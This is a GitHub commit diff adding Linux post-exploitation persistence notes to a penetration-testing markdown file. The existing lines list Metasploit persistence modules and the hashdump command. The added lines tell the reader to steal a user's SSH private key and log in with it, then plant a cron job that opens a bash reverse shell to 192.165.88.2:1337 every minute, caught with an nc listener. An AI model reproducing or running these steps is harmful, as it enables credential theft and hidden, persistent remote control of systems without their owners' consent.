Skip to content

Commit 3251857

Browse files
authored
Update persistence.md
1 parent 25e506b commit 3251857

File tree

1 file changed

+23
-0
lines changed

1 file changed

+23
-0
lines changed

post_exploitation/persistence.md

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,3 +5,26 @@ exploit/windows/local/persistence_service (This Module will generate and upload
55
hashdump ( meterpreter command to dump hashes to use with legitimate authentication attempts)
66

77
getgui is a nice easy meterpreter command to enable RDP
8+
9+
10+
**linux**
11+
12+
persistence via SSH. Most linux servers are configured for remote administration through SSH, etc
13+
14+
You will want to:
15+
16+
- steal ~/.ssh/id_rsa
17+
- chmod 400 id_rsa
18+
- ssh -i id_rsa [email protected]
19+
20+
cat /etc/cron (views all cronjobs)
21+
22+
To manually establish persistence through cron, do the following:
23+
24+
- echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.165.88.2/1337 0>&1'" > cron
25+
- crontab -i cron
26+
- crontab -l
27+
28+
then on your attacker machine:
29+
30+
- nc -nvlp 1337

0 commit comments

Comments
 (0)